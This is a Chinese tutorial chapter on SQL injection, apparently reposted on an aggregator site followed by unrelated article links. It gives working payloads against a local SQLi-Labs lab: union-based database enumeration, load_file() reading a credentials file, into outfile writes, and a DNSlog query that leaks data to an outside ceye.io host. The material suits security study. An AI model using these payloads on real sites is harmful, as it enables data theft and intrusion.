《Web安全基础》03. SQL 注入

news2024/11/15 8:27:49

web

  • 1:简要 SQL 注入
  • 2:MySQL 注入
    • 2.1:信息获取
    • 2.2:跨库攻击
    • 2.3:文件读写
    • 2.4:常见防护
  • 3:注入方法
    • 3.1:类型方法明确
    • 3.2:盲注
    • 3.3:编码
    • 3.4:二次注入
    • 3.5:DNSlog 注入
    • 3.6:堆叠注入
  • 4:WAF 绕过
    • 4.1:WAF 简介
    • 4.2:绕过方法
  • 5:其他数据库注入
    • 5.1:Access
    • 5.2:Sql Server
    • 5.3:PostgreSQL
    • 5.4:Oracle
    • 5.5:MongoDB


本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《安全工具录》。

靶场使用 SQLi-Labs。详情参见《WriteUp:SQLi-Labs》

1:简要 SQL 注入

在这里插入图片描述

SQL 注入非常复杂,区分各种数据库类型,提交方法,数据类型等注入。此类漏洞是 WEB 安全中严重的漏洞,学习如何利用,挖掘,修复也很重要。

SQL 注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到 sql 语句中,被当作 sql 语句的一部分进行执行,从而导致数据泄露、丢失甚至服务器瘫痪。

常见的 sql 注入产生原因:

  • 转义字符处理不合适
  • 不安全的数据库配置
  • 不合理的查询集处理
  • 不当的错误处理
  • 多个提交处理不当

注入判断:

1、逻辑值
and 1 = 1		页面正常
and 1 = 2		页面异常
则可能存在注入点

2、order by
通过 order by 判断注入的字段数

2:MySQL 注入

在这里插入图片描述

SQL 注入思路都差不多,这里主要以 MySQL 为例。

2.1:信息获取

数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os

在 mysql5.0 以上版本存在 information_schema 数据库,记录着所有的数据库,表名,列名。

information_schema.tables     # 记录所有的表名
information_schema.columns    # 记录所有的列名
table_name                    # 表名
column_name                   # 列名
table_schema                  # 数据库名

本节示例见 SQLi-Labs Less-1。

2.2:跨库攻击

常见的数据库与用户的对应关系:

数据库用户A - 数据库A - 网站A --> 表名 --> 列名 --> 数据
数据库用户B - 数据库B - 网站B --> 表名 --> 列名 --> 数据
数据库用户C - 数据库C - 网站C --> 表名 --> 列名 --> 数据

这样做的好处是一个用户对应一个库,网站之间的用户权限与数据互不干扰

这是最基础的数据库模型,现在大网站都是分布式数据库。

跨库查询的前提条件是必须高权限的用户才能执行跨库查询。

跨库攻击,以 Less-2 示例:

# 获取所有数据库名:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

# 获取指定 qqyw 数据库名下的表名信息:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw'

获取指定 qqyw 下的表名 admin 下的列名信息:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='qqyw'

获取指定 qqyw 下的 admin 数据
union select 1,u,p,4 from qqyw.admin

2.3:文件读写

获取的数据库权限会影响下一步测试思路。
高权限直接测试。
低权限就一步一步获取数据。

文件读写操作:

  • load_file():文件读取函数
  • into outfileinto dumpfile:文件写入、导出

获取路径的常见方法:报错显示、遗留文件、漏洞报错、平台配置文件、爆破等。

MySQL 查询是否有写入权限:
show global variables like '%secure_file_priv%';

读取本地文件示例:

http://127.0.0.1:8888/Less-2/?id=-1 union select 1,load_file('E:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc'),3

本地文件写入示例:

http://127.0.0.1:8888/Less-2/?id=-1 union select 1, 'test' ,3 into outfile 'E:\\test.txt' --+

2.4:常见防护

魔术引号:magic_quotes_gpc

当 magic_quotes_gpc = On 时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会加上转义符号(\)。

自定义防护:例如 PHP 中的判断输入是否是 int 型数据:is_int() 函数,这种就无法绕过。

3:注入方法

具体示例见 SQLi-Labs。

3.1:类型方法明确

在真实 SQL 注入安全测试中,一定要明确提交数据类型及提交方法后再进行注入。

明确参数类型:数字、字符、JSON 等。

明确接受的请求方法:GET、POST、COOKIE、REQUEST、HTTP 头等。

sql 语句干扰符号:'、"、、)、} 等,具体需看写法。

3.2:盲注

进行 SQL 注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是 SQL 语句查询方式的问题导致,这个时候需要用到相关的报错或盲注进行后续操作。

手工注入时,提前了解或预知其 SQL 语句大概写法也能更好的选择对应的注入语句。

可以通过查询方式与 SQL 的关系注入点产生的地方猜测到 SQL 查询方式。

涉及的 SQL 语句:
select:查询数据,在网站应用中进行数据显示查询操作。
insert:插入数据,在网站应用中进行用户注册添加等操作。
delete:删除数据,后台管理里面删除文章删除用户等操作。
update:更新数据,会员或后台中心数据同步或缓存等操作。
order by:数据排序,一般结合表名或列名进行数据排序操作。

在注入过程中,获取的数据不能回显至前端页面。此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注

盲注分为以下三类:

  • 基于布尔的 SQL 盲注:逻辑判断。
  • 基于时间的 SQL 盲注:延时判断。
  • 基于报错的 SQL 盲注:报错回显。

具体示例见 SQLi-Labs。

参考文章:
12种报错注入+万能语句
sql报错注入:extractvalue、updatexml报错原理
Order by排序注入方法小总结

3.3:编码

一些变量值在传递时会先编码或加密(如 base64 等)。这时手工注入就要先把传递值进行相应编码或加密。

例如 admin' and 1=1 base64 编码后的值是 YWRtaW4nIGFuZCAxPTE=

实际案例:SQLi-Labs-Less21:cookie&base64编码注入

一个简单的 base64 编码脚本:

<?php
	$url='http://xxxx/Less-1/index.php?id=;
	$payload=base64_encode($_GET['x']);
	$urls=$url.$payload;
	file_get_contents($urls);
	echo $urls;
?>

3.4:二次注入

在这里插入图片描述

二次注入一般用于白盒测试,黑盒测试就算找到注入点也没办法攻击。

以 SQLi-Labs-Less24 为例:注册 admin'# 这样一个用户。

在这里插入图片描述

此时修改 admin'# 用户的密码就能把 admin 用户的密码修改。

3.5:DNSlog 注入

DNSlog 盲注仅限于 windos 环境。能优化无回显问题。

相关资源:http://ceye.io

示例:

select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.eii0i8.ceye.io\\abc'))),1,0);

参考文章:https://www.cnblogs.com/xhds/p/12322839.html

3.6:堆叠注入

在 MySQL 中,每一条语句结尾加【;】表示语句结束。

堆叠注入(stacked injection)就是多个语句连接到一起执行的注入。

应用场景:

  • 注入需要管理员帐号密码,密码是加密,无法解密
  • 堆叠注入时插入数据,用户密码自定义,可以正常解密登录

参考文章:堆叠注入详解

4:WAF 绕过

在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便灵活构造 Payload,从而和各种 WAF 进行对抗。

4.1:WAF 简介

简要来说,WAF 有以下功能:

  • 内容审计
    截获所有 HTTP 数据或不满足某些规则的会话

  • 访问控制
    控制对 Web 应用的访问,包括主动安全模式和被动安全模式

  • 架构 / 网络设计
    运行反向代理模式时,用来分配职能,集中控制,虚拟基础结构等

  • WEB 应用加固
    屏蔽 WEB 应用固有弱点,保护 WEB 应用编程错误导致的安全隐患。

WAF 的常见功能:

  • 异常检测协议:拒绝不符合 HTTP 标准的请求
  • 增强输入验证:代理和服务端的验证,而不只是限于客户端验证
  • 白名单&黑名单:白名单适用于稳定的 Web 应用,黑名单适合处理已知问题
  • 基于规则和异常的保护:基于规则,更多依赖黑名单机制;基于异常,更为灵活
  • 状态管理:进行重点会话保护
  • Cookies 保护
  • 抗入侵规避技术
  • 响应监视
  • 信息泄露保护

WAF 对扫描器防范手段:

  • 扫描器指纹:head字段、请求参数值等
  • 单 IP + cookie 某时间段内触发规则次数
  • 隐藏的链接标签等
  • Cookie 植入
  • 验证码验证
  • 单 IP 请求时间段内 WebServer 返回 http 404 状态比例:扫描器探测敏感目录基于字典,找不到文件则返回 404

4.2:绕过方法

在这里插入图片描述

参考文章:
SQL注入-WAF绕过
sqlmap超详细笔记+思维导图

5:其他数据库注入

在这里插入图片描述

5.1:Access

Access,关系型数据库。

Access 数据库比较特别,都是存放在网站目录下,后缀格式为 mdb,常搭配脚本
aspasa,可以通过一些暴库手段、目录猜解等直接下载数据库。

结构:

Access -> 表名 -> 列名 -> 数据

注入方式:
union 注入、http header 注入、偏移注入等。

Access 偏移注入:解决列名获取不到的情况。
查看登陆框源代码的表单值或观察 URL 特征等,也可以针对表或列获取不到的情况。

参考文章:Access偏移注入与原理

5.2:Sql Server

Microsoft SQL Server,也叫 MSSQL,关系型数据库。

注入方式和 MySQL 没什么两样。

参考文章:MSSQL注入

5.3:PostgreSQL

PostgreSQL,关系型数据库。

参考文章:PostGresql 注入知识汇总

5.4:Oracle

Oracle,关系型数据库。

参考文章:【实战】Oracle注入总结

5.5:MongoDB

MongoDB 是一个基于分布式文件存储的数据库,属于非关系型数据库

  • 介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
  • 数据传输采用 JSON 传输。
  • tojson 函数可以输出 json 数据。

一个针对 MongoDB 注入的工具:NoSQLAttack


淡云孤雁远,寒日暮天红。

——《临江仙》(五代)徐昌图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/834069.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【前瞻】视频技术的发展趋势讨论以及应用场景

视频技术的发展可以追溯到19世纪初期的早期实验。到20世纪初期&#xff0c;电视技术的发明和普及促进了视频技术的进一步发展。 1&#xff09;数字化&#xff1a;数字化技术的发明和发展使得视频技术更加先进。数字电视信号具有更高的清晰度和更大的带宽&#xff0c;可以更快地…

Knife4j系列--解决下载文件乱码的问题

原文网址&#xff1a;Knife4j系列--解决下载文件乱码的问题_IT利刃出鞘的博客-CSDN博客 简介 说明 本文介绍Knife4j如何解决下载文件不显示下载按钮&#xff0c;返回的是乱码的问题。 相关网址 文件下载始终是Knife4j.txt Issue #I374SP 萧明/knife4j - Gitee.com 注意…

Webpack怎么使用?

Webpack 使用 前几篇文章中已经介绍了如何初始化包管理器 package.json 这里不再重复介绍&#xff0c;如有需要请查看 搭建工程化项目。 安装 :::warning 注意 请确保你已经安装了 yarn&#xff0c;如有需要请查看 搭建工程化开发环境。 ::: 通过命令 yarn add webpack web…

[腾讯云Cloud Studio实战训练营]无门槛使用GPT+Cloud Studio辅助编程完成Excel自动工资结算

目录 前言一、Cloud Studio产品介绍1.1 注册Cloud Studio 二、项目实验2.1 选择合适的开发环境2.2 实验项目介绍2.3 实验步骤三、总结 前言 chatgpt简单介绍: ChatGPT是一种基于GPT的自然语言处理模型&#xff0c;专门用于生成对话式文本。它是OpenAI于2021年发布的&#xff0…

2023华数杯数学建模C题

母亲身心健康对婴儿成长的影响 母亲是婴儿生命中最重要的人之一&#xff0c;她不仅为婴儿提供营养物质和身体保护&#xff0c; 还为婴儿提供情感支持和安全感。母亲心理健康状态的不良状况&#xff0c;如抑郁、焦虑、 压力等&#xff0c;可能会对婴儿的认知、情感、社会行为等方…

【万字长文】SpringBoot整合Atomikos实现多数据源分布式事务(提供Gitee源码)

前言&#xff1a;在最近的实际开发的过程中&#xff0c;遇到了在多数据源的情况下要保证原子性的问题&#xff0c;这个问题当时遇到了也是思考了一段时间&#xff0c;后来通过搜集大量资料与学习&#xff0c;最后是采用了分布式事务来解决这个问题&#xff0c;在讲解之前&#…

pytorch的CrossEntropyLoss交叉熵损失函数默认是平均值

pytorch中使用nn.CrossEntropyLoss()创建出来的交叉熵损失函数计算损失默认是求平均值的&#xff0c;即多个样本输入后获取的是一个均值标量&#xff0c;而不是样本大小的向量。 net nn.Linear(4, 2) loss nn.CrossEntropyLoss() X torch.rand(10, 4) y torch.ones(10, dt…

最新ChatGPT商用网站源码+支持ai绘画+GPT4.0+Prompt角色+MJ以图生图+思维导图生成!

使用Nestjs和Vue3框架技术&#xff0c;持续集成AI能力到系统&#xff01; 同步mj图片重新生成指令 同步 Vary 指令 单张图片对比加强 Vary(Strong) | Vary(Subtle) 同步 Zoom 指令 单张图片无限缩放 Zoom out 2x | Zoom out 1.5x 新增GPT联网提问功能、签到功能 支持微信环境静…

Jenkins Gerrit Trigger实践

1.创建Gerrit Trigger 2.jenkins master节点生成gerrit用户的密钥 这里的用户名得写登录gerrit后个人信息中的 Username 3.gerrit 配置刚刚jenkins生成密钥的公钥 4.gerrit 用户加入群组 不加这个群组&#xff0c;下一步测试就会报错“User aeshare has no capability conn…

阿里云ssl免费数字证书快过期 如何更换

1.登陆阿里云 找到ssl 查看快过期的证书 数字证书管理服务-ssl证书 2.创建免费的证书&#xff0c;对应过期证书的域名 3.下载新证书 pem key放在本地 此处记录本地的下载路径 /Users/dorsey/Downloads/10791167_lzzabc.cn_nginx/lzzabc.cn.pem /Users/dorsey/Downloads/1…

sheetJs / xlsx-js-style 纯前端实现导出 excel 表格及自定义单元格样式

文章目录 一、安装二、创建基础工作表三、设置单元格宽度/高度/隐藏单元格四、分配数字格式五、超链接六、单元格注释七、公式八、合并单元格九、自定义单元格样式十、项目地址 一、安装 xlsx 地址&#xff1a;https://www.npmjs.com/package/xlsxSheetJs 地址&#xff1a;htt…

中断管理

其实&#xff0c;关于中断的概念和定义在之前已经反复学习和实践了&#xff0c;这节主要讲和FreeRTOS相关的中断知识。 中断优先级 任何中断的优先级都大于任务&#xff01; 在我们的操作系统&#xff0c;中断同样是具有优先级的&#xff0c;并且我们也可以设置它的优先级&a…

Quic协议 0-RTT

目录 1、Quic协议 2、Quic直接通过TLS握手进行建立链接&#xff0c;TLS是1.3版本 3.1、通过缓存服务器公钥实现0-RTT&#xff0c;服务器 通过kdf密钥派生机制&#xff0c;来产生会话加密key&#xff0c;保证数据向前安全性 3.2、通过PKN来实现数据重传保证数据完整性&…

Yalmip入门教程(4)-约束条件定义的相关函数

博客中所有内容均来源于自己学习过程中积累的经验以及对yalmip官方文档的翻译&#xff1a;https://yalmip.github.io/tutorials/ 这篇博客将详细介绍yalmip工具箱中约束条件定义等相关函数的用法。 1.约束条件定义的相关函数 1.1 alldifferent函数 alldifferent函数用于表示…

计算机毕设 深度学习疫情社交安全距离检测算法 - python opencv cnn

文章目录 0 前言1 课题背景2 实现效果3 相关技术3.1 YOLOV43.2 基于 DeepSort 算法的行人跟踪 4 最后 0 前言 &#x1f525; 这两年开始毕业设计和毕业答辩的要求和难度不断提升&#xff0c;传统的毕设题目缺少创新和亮点&#xff0c;往往达不到毕业答辩的要求&#xff0c;这两…

跨境多商户中日韩英多语言商城搭建(PC+小程序+H5),搭建方案

随着全球化的推进&#xff0c;跨境电商正变得越来越普遍。在本文中&#xff0c;我们将介绍跨境电商系统开发中多语言商城独立站的部署搭建方案。 准备工作 在开始部署搭建之前&#xff0c;需要准备以下环境&#xff1a; 服务器&#xff0c;确保服务器具备足够的性能和稳定性。 …

09-向量的范数_范数与正则项的关系

⛳向量的范数 范数的公式是向量每个分量 绝对值 P 次方 再用幂函数计算 P 分之一&#xff0c;这里 P 肯定是整数 1&#xff0c;2&#xff0c;3…到正无穷都是可以的 向量的范数就是把向量变成一个标量&#xff0c;范数的表示就是两个竖线来表示&#xff0c;然后右下角写上 P&a…

2023 电赛 E 题 激光笔识别有误--使用K210/Openmv/树莓派/Jetson nano实现激光笔在黑色区域的目标检测

1. 引言 1.1 激光笔在黑色区域目标检测的背景介绍 在许多应用领域&#xff0c;如机器人导航、智能家居和自动驾驶等&#xff0c;目标检测技术的需求日益增加。本博客将聚焦于使用K210芯片实现激光笔在黑色区域的目标检测。 激光笔在黑色区域目标检测是一个有趣且具有挑战性的…

redis发布订阅模型

文章目录 发布与订阅1.频道订阅和退订1.1订阅频道subscribe**伪代码** 1.2 退订频道伪代码 2.模式订阅和退订2.1订阅模式psubscribe2.2 退订模式 3.发送消息3.1 消息发送频道订阅者伪代码 3.2消息发送模式订阅者伪代码 总结的Publish4.查看订阅消息4.1 pubsub channels4.2 pubs…

从前序与中序遍历序列构造二叉树,从中序与后序遍历序列构造二叉树

目录 从前序与中序遍历序列构造二叉树从中序与后序遍历序列构造二叉树 从前序与中序遍历序列构造二叉树 题目链接 给定两个整数数组 preorder 和 inorder &#xff0c;其中 preorder 是二叉树的先序遍历&#xff0c; inorder 是同一棵树的中序遍历&#xff0c;请构造二叉树并返…